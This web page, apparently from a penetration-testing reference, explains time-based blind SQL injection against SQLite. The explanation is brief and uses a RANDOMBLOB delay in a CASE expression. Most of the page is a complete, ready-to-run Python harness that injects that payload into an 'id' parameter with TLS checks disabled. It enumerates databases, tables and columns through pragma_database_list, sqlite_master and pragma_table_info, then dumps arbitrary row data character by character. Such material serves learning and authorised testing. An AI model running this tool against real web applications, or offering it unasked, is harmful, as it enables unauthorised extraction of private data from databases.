Skip to content
Time-Based Blind

Time-Based Blind

SQLite time-based linear harness

SQLite has no built-in sleep function. The oracle instead accepts a SQL predicate and places it inside a CASE expression. A true predicate generates a large random byte sequence with RANDOMBLOB() and converts it to hexadecimal; a false predicate returns 0. oracle() measures the complete HTTP response time and returns a Python Boolean according to THRESHOLD.

The remaining extraction flow matches the Boolean version: determine a count, determine the length of one value, then test each character position. Only the request and timing behavior inside oracle() is target-specific.

DELAY controls the random blob size in bytes rather than a number of seconds. Tune DELAY until the expensive true branch produces a repeatable gap from the target’s normal response time, then set THRESHOLD between the false and true timings.

import requests
import urllib3
import argparse
import sys
from colorama import Fore, init
import string

init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
DELAY = 100000000
THRESHOLD = 1.5
parser = argparse.ArgumentParser(
    description="SQLite time-based blind SQL injection dumping harness.",
    epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080] --current-db")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
parser.add_argument("--current-db", required=False, action="store_true", help="Dump the current database name.")
parser.add_argument("--databases", required=False, action="store_true", help="Dump database names.")
parser.add_argument("--tables", required=False, action="store_true", help="Dump table names from the selected database.")
parser.add_argument("--columns", required=False, action="store_true", help="Dump column names from the selected table.")
parser.add_argument("--dump", required=False, action="store_true", help="Dump selected columns from the selected table.")
parser.add_argument("-D", "--database", required=False, type=str, help="Database name.", default=None)
parser.add_argument("-T", "--table", required=False, type=str, help="Table name.", default=None)
parser.add_argument("-C", "--columns_to_dump", required=False, type=str, help="Comma-separated columns to dump.", default=None)
args = parser.parse_args()
PROXY = args.proxy
if PROXY is not None:
    PROXY = PROXY.strip()
    PROXIES = {
        "http": PROXY,
        "https": PROXY
    }
else:
    PROXIES = {}
URL = args.target.rstrip("/").strip()

def oracle(s, query):
    payload = f"' AND (CASE WHEN ({query}) THEN LENGTH(HEX(RANDOMBLOB({DELAY}))) ELSE 0 END)>=0 -- -"
    try:
        r = s.get(url=URL, params={"id": payload}, verify=False, timeout=10, proxies=PROXIES)
    except Exception as e:
        print(f"{Fore.RED}\n[-] Could not make request: {e}")
        sys.exit(1)
    if r.elapsed.total_seconds() > THRESHOLD:
        return True
    return False

def get_count(s, query, label):
    count = 0
    while True:
        print(f"\r[+] Bruteforcing number of {label}: {count}", end="", flush=True)
        count_query = f"({query})={count}"
        if oracle(s, count_query) == True:
            print(f"{Fore.GREEN}\n[+] Number of {label}: {count}")
            return count
        count += 1

def get_length(s, query, label):
    length = 0
    while True:
        print(f"\r[+] Bruteforcing length of {label}: {length}", end="", flush=True)
        length_query = f"LENGTH(({query}))={length}"
        if oracle(s, length_query) == True:
            print(f"{Fore.GREEN}\n[+] Length of {label}: {length}")
            return length
        length += 1

def dump_value(s, query, label):
    value = ""
    length = get_length(s, query, label)
    for pos in range(1, length + 1):
        for char in CHARSET:
            print(f"\r[+] Dumping {label}: {value}", end="", flush=True)
            # ord returns the corresponding decimal number the string has in the ASCII table
            dump_query = f"UNICODE(SUBSTR(({query}),{pos},1))={ord(char)}"
            if oracle(s, dump_query):
                value += char
                break
    print(f"{Fore.GREEN}\n[+] {label}: {value}")
    return value
if __name__ == "__main__":
    s = requests.Session()
    if args.current_db:
        dump_value(s, "SELECT name FROM pragma_database_list WHERE seq=0", "current database name")
    if args.databases:
        database_count = get_count(s, "SELECT COUNT(*) FROM pragma_database_list", "databases")
        for pos in range(0, database_count):
            query = f"SELECT name FROM pragma_database_list ORDER BY seq LIMIT 1 OFFSET {pos}"
            label = f"database number {pos}"
            dump_value(s, query, label)
    if args.tables:
        database = args.database
        if not database:
            print(f"{Fore.RED}\n[-] It is required to specify the database to dump table names from.")
            sys.exit(1)
        table_count = get_count(s, f"SELECT COUNT(*) FROM {database}.sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%'", "table count")
        for pos in range(0, table_count):
            query = f"SELECT name FROM {database}.sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' ORDER BY name LIMIT 1 OFFSET {pos}"
            label = f"table number {pos}"
            dump_value(s, query, label)
    if args.columns:
        database = args.database
        table = args.table
        if not database or not table:
            print(f"{Fore.RED}\n[-] It is required to specify the database and table to dump column names from.")
            sys.exit(1)
        column_count = get_count(s, f"SELECT COUNT(*) FROM pragma_table_info('{args.table}','{database}')", "column count")
        for pos in range(0, column_count):
            query = f"SELECT name FROM pragma_table_info('{args.table}','{database}') ORDER BY name LIMIT 1 OFFSET {pos}"
            label = f"column number {pos}"
            dump_value(s, query, label)
    if args.dump:
        database = args.database
        table = args.table
        columns = args.columns_to_dump
        if not database or not table or not columns:
            print(f"{Fore.RED}\n[-] It is required to specify the database,table and columns to dump data from.")
            sys.exit(1)
        columns_list = columns.split(",")
        row_count = get_count(s, f"SELECT COUNT(*) FROM {database}.{args.table}", "row count")
        for pos in range(0, row_count):
            for column in columns_list:
                query = f"SELECT CAST({column} AS TEXT) FROM {database}.{args.table} ORDER BY {column} LIMIT 1 OFFSET {pos}"
                label = f"{table}.{column} row {pos}"
                dump_value(s, query, label)

Find by: sqlite, time based blind sqli, randomblob, hex, case when, length, substr, unicode, pragma_database_list, sqlite_master, pragma_table_info, limit offset, sqlmap style cli